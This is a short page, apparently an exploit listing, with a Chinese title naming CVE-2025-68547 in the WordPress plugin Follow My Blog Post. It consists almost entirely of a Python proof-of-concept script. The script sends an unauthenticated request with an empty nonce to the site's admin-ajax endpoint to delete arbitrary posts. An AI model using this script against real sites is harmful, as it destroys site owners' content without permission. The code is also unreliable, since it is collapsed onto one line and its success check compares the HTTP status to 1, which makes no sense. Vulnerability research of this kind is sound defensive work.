CVE-2025-68547 WordPress Follow My Blog Post插件缺少授权漏洞

# CVE-2025-68547 PoC - WordPress Follow My Blog Post Plugin Authorization Bypass # Affected: Follow My Blog Post <= 2.4.0 import requests import sys target_url = "http://target-wordpress-site.com" # Step 1: Identify the vulnerable endpoint vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Construct malicious request to delete arbitrary content payload = { "action": "fmbp_delete_content", # Plugin's AJAX action "post_id": "1", # Target post ID to delete "nonce": "" # Empty nonce - demonstrating lack of authorization check } print(f"[*] Sending malicious request to {vulnerable_endpoint}") print(f"[*] Target URL: {target_url}") print(f"[*] Payload: {payload}") try: response = requests.post(vulnerable_endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}") # Check if deletion was successful if "deleted" in response.text.lower() or response.status_code == 1: print("[!] Content deletion successful - Vulnerability confirmed!") else: print("[*] Response received - verify manually") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) print("\n[*] Note: This PoC demonstrates the authorization bypass vulnerability") print("[*] Always obtain proper authorization before testing")